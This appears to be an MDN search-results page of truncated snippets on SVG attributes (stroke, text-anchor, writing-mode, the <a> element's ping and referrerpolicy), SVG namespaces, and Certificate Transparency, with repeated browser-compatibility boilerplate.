alue <length> | <percentage> default value 1px animatable yes note: a percentage value is always computed as a percentage of the normalized viewbox diagonal length. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstroke-widthchrome ? edge ? firefox ? ie ? opera ? safari ...
stroke - SVG: Scalable Vector Graphics
l and context-stroke. scalable vector graphics (svg) 1.1 (second edition)the definition of 'stroke' in that specification. recommendation initial definition for shapes and texts browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstrokechrome ? edge ? firefox ? ie ? opera ? safari ? ...
text-anchor - SVG: Scalable Vector Graphics
commendation no significant change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-anchor' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext-anchorchrome ? edge ? firefox ? ie ? opera ? safari ...
text-rendering - SVG: Scalable Vector Graphics
didate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'text-rendering' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettext-renderingchrome ? edge ? firefox ? ie ? opera ? safari ...
writing-mode - SVG: Scalable Vector Graphics
d svg 1.1 values and the new values. scalable vector graphics (svg) 1.1 (second edition)the definition of 'writing-mode' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwriting-modechrome ? edge ? firefox ? ie ? opera ? safari ...
<a> - SVG: Scalable Vector Graphics
anguage of the url or url fragment that the hyperlink points to. value type: <string> ; default value: none; animatable: yes ping a space-separated list of urls to which, when the hyperlink is followed, post requests with the body ping will be sent by the browser (in the background). typically used for tracking. for a more widely-supported feature addressing the same use cases, see navigator.
sendbeacon(). value type: <list-of-urls> ; default value: none; animatable: no referrerpolicy which referrer to
send when fetching the url. value type: no-referrer|no-referrer-when-downgrade|same-origin|origin|strict-origin|origin-when-cross-origin|strict-origin-when-cross-origin|unsafe-url ; default value: none; animatable: no rel the relationship of the target object to the link object. v...
Namespaces crash course - SVG: Scalable Vector Graphics
or xlink). hence to get the value of the xlink:href parameter of an <a> element in svg you would write: elt.getattributens('http://www.w3.org/1999/xlink', 'href'); for setting parameters that have a namespace, it is recommended (but not required) that you also include their prefix in the second parameter so that the dom can later be more easily converted back to xml (if for instance you want to
send it back to the server). for example: elt.setattributens('http://www.w3.org/1999/xlink', 'xlink:href', 'otherdoc.svg'); as a final example, here's a demonstration of how you should dynamically create an <image> element using script: var svg_ns = 'http://www.w3.org/2000/svg'; var xlink_ns = 'http://www.w3.org/1999/xlink'; var image = document.createelementns(svg_ns, 'image'); image.setattributen...
Certificate Transparency - Web security
ate_timestamp sent during the handshake ocsp stapling (that is, the status_request tls extension) and providing a signedcertificatetimestamplist with one or more scts with the x.509 certificate extension, the included scts are decided by the issuing ca. there should be no need for web servers to be modified if this mechanism is used. with the latter methods, servers will need to be updated to
send the required data. the advantage is that the server operator can customise the ct log sources providing the scts sent via the tls extension/stapled ocsp response. browser requirements google chrome requires ct log inclusion for all certificates issues with a notbefore date of after 30 april 2018. users will be prevented from visiting sites using non-compliant tls certificates. chrome had previo...